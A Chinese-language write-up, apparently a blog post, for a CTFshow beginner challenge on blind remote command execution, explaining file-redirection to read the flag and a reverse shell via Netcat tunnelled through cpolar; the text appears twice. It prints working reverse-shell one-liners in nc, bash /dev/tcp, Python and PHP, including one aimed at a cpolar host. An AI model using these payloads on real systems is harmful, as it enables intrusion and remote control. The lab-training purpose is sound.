CTFshow Web 入门 | 反弹 Shell 构造超详细 Writeup附 Netcat 安装 cpolar 内网穿透 全流程图解 本文适合人群CTF 新手、Web 安全初学者、渗透测试学习者 阅读时间10 分钟 难度⭐⭐入门 前言最近在刷CTFshow Web 入门时做到「反弹 Shell 构造」这道题发现网上很多 Writeup 都只是给出一个 Payloadnc-cshIP PORT却没有解释为什么需要反弹 Shell为什么没有公网 IP 就连不上Netcat 怎么安装cpolar 怎么配置为什么 nc 一直 Listening为什么显示 127.0.0.1导致很多刚接触 Web 安全的同学完全照着做也成功不了。因此写下这篇文章从 0 开始带大家完成整个反弹 Shell 的过程。文章不仅讲如何做题更会讲清楚每一步背后的原理。 目录一、题目分析二、两种解题思路三、方法一写文件读取 Flag四、方法二反弹 Shell重点五、Netcat 安装六、cpolar 内网穿透配置七、完整反弹流程八、常见问题排查九、常用 Payload 汇总十、总结一、题目信息项目内容平台CTFshow题目反弹 Shell 构造类型无回显 RCE难度⭐⭐知识点RCE、反弹 Shell、内网穿透页面提供一个 Shell 执行框。无论输入什么命令都只返回execute success!不会显示任何输出。因此这是典型的无回显命令执行Blind RCE二、解题思路对于这种题一般有两种方法。方法一文件写入推荐新手利用 Linux 重定向把执行结果写入网站目录。浏览器再访问 txt 文件即可。优点✅ 简单✅ 不需要任何工具缺点❌ 学不到反弹 Shell方法二反弹 Shell推荐让靶机主动连接我们的电脑。获得一个真正的 Shell。优点✅ 实战最常见✅ 可以执行任意命令三、方法一写文件读取 Flag① 查看目录执行ls1.txt浏览器访问https://你的题目地址/1.txt结果index.php flag.php② 查看 Flag执行catflag.php1.txt刷新浏览器即可看到?php$flagCTF{reverse_shell_use_nc};整个过程仅需几十秒。四、为什么要反弹 Shell很多同学第一次都会问为什么不能直接执行命令因为执行结果没有回显。例如ls服务器虽然执行成功了。但是浏览器 ↓ execute success!你根本不知道执行结果。所以必须让服务器主动把 Shell 发回来。流程如下浏览器 │ ▼ RCE漏洞 │ ▼ 靶机执行 nc │ ▼ 连接你的电脑 │ ▼ 获得交互式 Shell五、为什么需要内网穿透很多同学认为我本机开 nc 不就行了吗事实上你的电脑一般都是192.168.x.x 10.x.x.x这些都是内网 IP公网服务器无法直接访问。因此需要CTF靶机 ↓ cpolar公网服务器 ↓ 你的电脑 ↓ Netcat监听所以cpolar 的作用就是把你的电脑暴露到公网。六、工具准备需要两个工具工具作用Netcat接收反弹 Shellcpolar内网穿透七、安装 Netcat方法一推荐下载https://eternallybored.org/misc/netcat/得到nc.exe方法二更推荐安装Nmap安装时勾选NcatRegister PATH验证ncat--version监听nc-lvvp4444参数参数说明-lListen-vVerbose-pPort八、配置 cpolar官网https://www.cpolar.com安装完成配置 Tokencpolar authtoken 你的Token启动cpolar tcp 4444得到tcp://27.tcp.cpolar.top:13777其中公网域名27.tcp.cpolar.top公网端口13777九、完整反弹流程第一步开启 cpolarcpolar tcp 4444第二步开启 ncnc-lvvp4444看到Listening on 4444...第三步靶机执行nc-csh27.tcp.cpolar.top13777第四步收到连接connect to [127.0.0.1] from kubernetes.docker.internal很多人疑惑为什么不是靶机 IP原因靶机 ↓ cpolar服务器 ↓ 本地cpolar客户端 ↓ nc真正连接 nc 的其实是127.0.0.1这是正常现象。第五步执行lscatflag.php即可得到CTF{reverse_shell_use_nc}十、常见问题❓ nc 一直 Listening检查cpolar 是否 onlineIP 是否正确端口是否正确❓ bash /dev/tcp 不行因为sh dash不支持/dev/tcp建议nc❓ Shell 不能交互升级/bin/bash-i或者python3-cimport pty;pty.spawn(/bin/bash)❓ nc 找不到进入目录cd nc目录.\nc.exe或者配置环境变量。十一、常见反弹 PayloadNetcatnc-cshIP PORTnc-e/bin/sh IP PORTmkfifo/tmp/fcat/tmp/f|/bin/sh-i21|ncIP PORT/tmp/fBashbash-i/dev/tcp/IP/PORT01Pythonpython3-c importsocket,subprocess,os;ssocket.socket();s.connect((IP,PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])PHPphp-r$sockfsockopen(IP,PORT); exec(/bin/bash -i 3 3 23); 总结本文完整介绍了 CTFshow Web 入门「反弹 Shell 构造」的两种解法✅ 文件写入读取 Flag✅ Netcat 反弹 Shell✅ cpolar 内网穿透配置✅ 常见 Payload 汇总✅ 常见问题排查建议大家不要只会复制 Payload而是理解整个数据流浏览器 ↓ RCE ↓ 靶机 ↓ 公网 ↓ cpolar ↓ 你的电脑 ↓ Shell真正理解之后再遇到任何反弹 Shell 题目都能够快速分析并解决。 参考资料CTFshow 官方平台Nmap 官方文档Netcat 官方项目cpolar 官方文档 觉得有帮助的话如果这篇文章对你有所帮助欢迎⭐ 点赞 收藏 评论交流你的支持就是我持续更新安全技术博客的最大动力
CTFshow Web 入门|反弹 Shell 构造超详细 Writeup(Netcat+cpolar+无公网 IP 解决方案)
发布时间:2026/7/3 12:24:50
CTFshow Web 入门 | 反弹 Shell 构造超详细 Writeup附 Netcat 安装 cpolar 内网穿透 全流程图解 本文适合人群CTF 新手、Web 安全初学者、渗透测试学习者 阅读时间10 分钟 难度⭐⭐入门 前言最近在刷CTFshow Web 入门时做到「反弹 Shell 构造」这道题发现网上很多 Writeup 都只是给出一个 Payloadnc-cshIP PORT却没有解释为什么需要反弹 Shell为什么没有公网 IP 就连不上Netcat 怎么安装cpolar 怎么配置为什么 nc 一直 Listening为什么显示 127.0.0.1导致很多刚接触 Web 安全的同学完全照着做也成功不了。因此写下这篇文章从 0 开始带大家完成整个反弹 Shell 的过程。文章不仅讲如何做题更会讲清楚每一步背后的原理。 目录一、题目分析二、两种解题思路三、方法一写文件读取 Flag四、方法二反弹 Shell重点五、Netcat 安装六、cpolar 内网穿透配置七、完整反弹流程八、常见问题排查九、常用 Payload 汇总十、总结一、题目信息项目内容平台CTFshow题目反弹 Shell 构造类型无回显 RCE难度⭐⭐知识点RCE、反弹 Shell、内网穿透页面提供一个 Shell 执行框。无论输入什么命令都只返回execute success!不会显示任何输出。因此这是典型的无回显命令执行Blind RCE二、解题思路对于这种题一般有两种方法。方法一文件写入推荐新手利用 Linux 重定向把执行结果写入网站目录。浏览器再访问 txt 文件即可。优点✅ 简单✅ 不需要任何工具缺点❌ 学不到反弹 Shell方法二反弹 Shell推荐让靶机主动连接我们的电脑。获得一个真正的 Shell。优点✅ 实战最常见✅ 可以执行任意命令三、方法一写文件读取 Flag① 查看目录执行ls1.txt浏览器访问https://你的题目地址/1.txt结果index.php flag.php② 查看 Flag执行catflag.php1.txt刷新浏览器即可看到?php$flagCTF{reverse_shell_use_nc};整个过程仅需几十秒。四、为什么要反弹 Shell很多同学第一次都会问为什么不能直接执行命令因为执行结果没有回显。例如ls服务器虽然执行成功了。但是浏览器 ↓ execute success!你根本不知道执行结果。所以必须让服务器主动把 Shell 发回来。流程如下浏览器 │ ▼ RCE漏洞 │ ▼ 靶机执行 nc │ ▼ 连接你的电脑 │ ▼ 获得交互式 Shell五、为什么需要内网穿透很多同学认为我本机开 nc 不就行了吗事实上你的电脑一般都是192.168.x.x 10.x.x.x这些都是内网 IP公网服务器无法直接访问。因此需要CTF靶机 ↓ cpolar公网服务器 ↓ 你的电脑 ↓ Netcat监听所以cpolar 的作用就是把你的电脑暴露到公网。六、工具准备需要两个工具工具作用Netcat接收反弹 Shellcpolar内网穿透七、安装 Netcat方法一推荐下载https://eternallybored.org/misc/netcat/得到nc.exe方法二更推荐安装Nmap安装时勾选NcatRegister PATH验证ncat--version监听nc-lvvp4444参数参数说明-lListen-vVerbose-pPort八、配置 cpolar官网https://www.cpolar.com安装完成配置 Tokencpolar authtoken 你的Token启动cpolar tcp 4444得到tcp://27.tcp.cpolar.top:13777其中公网域名27.tcp.cpolar.top公网端口13777九、完整反弹流程第一步开启 cpolarcpolar tcp 4444第二步开启 ncnc-lvvp4444看到Listening on 4444...第三步靶机执行nc-csh27.tcp.cpolar.top13777第四步收到连接connect to [127.0.0.1] from kubernetes.docker.internal很多人疑惑为什么不是靶机 IP原因靶机 ↓ cpolar服务器 ↓ 本地cpolar客户端 ↓ nc真正连接 nc 的其实是127.0.0.1这是正常现象。第五步执行lscatflag.php即可得到CTF{reverse_shell_use_nc}十、常见问题❓ nc 一直 Listening检查cpolar 是否 onlineIP 是否正确端口是否正确❓ bash /dev/tcp 不行因为sh dash不支持/dev/tcp建议nc❓ Shell 不能交互升级/bin/bash-i或者python3-cimport pty;pty.spawn(/bin/bash)❓ nc 找不到进入目录cd nc目录.\nc.exe或者配置环境变量。十一、常见反弹 PayloadNetcatnc-cshIP PORTnc-e/bin/sh IP PORTmkfifo/tmp/fcat/tmp/f|/bin/sh-i21|ncIP PORT/tmp/fBashbash-i/dev/tcp/IP/PORT01Pythonpython3-c importsocket,subprocess,os;ssocket.socket();s.connect((IP,PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])PHPphp-r$sockfsockopen(IP,PORT); exec(/bin/bash -i 3 3 23); 总结本文完整介绍了 CTFshow Web 入门「反弹 Shell 构造」的两种解法✅ 文件写入读取 Flag✅ Netcat 反弹 Shell✅ cpolar 内网穿透配置✅ 常见 Payload 汇总✅ 常见问题排查建议大家不要只会复制 Payload而是理解整个数据流浏览器 ↓ RCE ↓ 靶机 ↓ 公网 ↓ cpolar ↓ 你的电脑 ↓ Shell真正理解之后再遇到任何反弹 Shell 题目都能够快速分析并解决。 参考资料CTFshow 官方平台Nmap 官方文档Netcat 官方项目cpolar 官方文档 觉得有帮助的话如果这篇文章对你有所帮助欢迎⭐ 点赞 收藏 评论交流你的支持就是我持续更新安全技术博客的最大动力